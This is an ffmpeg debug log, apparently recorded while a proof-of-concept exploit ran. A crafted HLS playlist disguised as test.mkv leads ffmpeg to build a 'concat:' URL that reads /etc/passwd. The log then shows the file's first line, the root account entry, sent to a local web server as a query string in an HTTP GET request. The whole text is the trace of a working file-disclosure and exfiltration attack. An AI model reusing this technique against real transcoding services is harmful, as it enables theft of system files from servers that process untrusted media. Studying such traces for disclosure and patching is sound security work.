ffmpeg version 2.8.3 Copyright (c) 2000-2015 the FFmpeg developers
  built with gcc 4.8 (Ubuntu 4.8.4-2ubuntu1~14.04)
  configuration: --prefix=/opt/ffmpeg --libdir=/opt/ffmpeg/lib/ --enable-shared --enable-avresample --disable-stripping --enable-gpl --enable-version3 --enable-nonfree --enable-runtime-cpudetect --build-suffix=.ffmpeg --enable-postproc --enable-x11grab --enable-avisynth --enable-bzlib --enable-fontconfig --enable-frei0r --enable-gnutls --enable-ladspa --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libdc1394 --enable-libfaac --enable-libfdk_aac --enable-libflite --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libmodplug --enable-libmp3lame --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopus --enable-libpulse --enable-librtmp --enable-libschroedinger --enable-libsoxr --enable-libspeex --enable-libssh --enable-libtheora --enable-libvo-aacenc --enable-libvorbis --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx264 --enable-libx265 --enable-libkvazaar --enable-libxvid --enable-libzmq --enable-libzvbi --enable-openal --enable-opengl --enable-pthreads --enable-vaapi --enable-vdpau --enable-zlib --enable-debug=3
  libavutil      54. 31.100 / 54. 31.100
  libavcodec     56. 60.100 / 56. 60.100
  libavformat    56. 40.101 / 56. 40.101
  libavdevice    56.  4.100 / 56.  4.100
  libavfilter     5. 40.101 /  5. 40.101
  libavresample   2.  1.  0 /  2.  1.  0
  libswscale      3.  1.101 /  3.  1.101
  libswresample   1.  2.101 /  1.  2.101
  libpostproc    53.  3.100 / 53.  3.100
Splitting the commandline.
Reading option '-v' ... matched as option 'v' (set logging level) with argument 'debug'.
Reading option '-i' ... matched as input file with argument 'test.mkv'.
Reading option 'out.avi' ... matched as output file.
Reading option '-y' ... matched as option 'y' (overwrite output files) with argument '1'.
Finished splitting the commandline.
Parsing a group of options: global .
Applying option v (set logging level) with argument debug.
Applying option y (overwrite output files) with argument 1.
Successfully parsed a group of options.
Parsing a group of options: input file test.mkv.
Successfully parsed a group of options.
Opening an input file: test.mkv.
[hls,applehttp @ 0x96ec20] Format hls,applehttp probed with size=2048 and score=100
[hls,applehttp @ 0x96ec20] HLS request for url 'concat:http://localhost/header.m3u8|file:///etc/passwd', offset 0, playlist 0
[http @ 0x972be0] request: GET /header.m3u8 HTTP/1.1
User-Agent: Lavf/56.40.101
Accept: */*
Range: bytes=0-
Connection: close
Host: localhost
Icy-MetaData: 1


Format hls,applehttp probed with size=2048 and score=100
[http @ 0x972780] request: GET /header.m3u8 HTTP/1.1
User-Agent: Lavf/56.40.101
Accept: */*
Range: bytes=0-
Connection: close
Host: localhost
Icy-MetaData: 1


[AVIOContext @ 0x973460] Statistics: 2371 bytes read, 0 seeks
[hls,applehttp @ 0x971a80] HLS request for url 'http://localhost/remote.m3u8?root:x:0:0:root:/root:/bin/bash', offset 0, playlist 0
[http @ 0x972820] request: GET /remote.m3u8?root:x:0:0:root:/root:/bin/bash HTTP/1.1
User-Agent: Lavf/56.40.101
Accept: */*
Connection: close
Host: localhost
Icy-MetaData: 1


[http @ 0x973460] request: GET /header.m3u8 HTTP/1.1
User-Agent: Lavf/56.40.101
Accept: */*
Range: bytes=0-
Connection: close
Host: localhost
Icy-MetaData: 1


[AVIOContext @ 0x973620] Statistics: 2371 bytes read, 0 seeks
[http @ 0x977400] request: GET /header.m3u8 HTTP/1.1
User-Agent: Lavf/56.40.101
Accept: */*
Range: bytes=0-
Connection: close
Host: localhost
Icy-MetaData: 1


[AVIOContext @ 0x9774c0] Statistics: 2371 bytes read, 0 seeks
[http @ 0x977440] request: GET /header.m3u8 HTTP/1.1
User-Agent: Lavf/56.40.101
Accept: */*
Range: bytes=0-
Connection: close
Host: localhost
Icy-MetaData: 1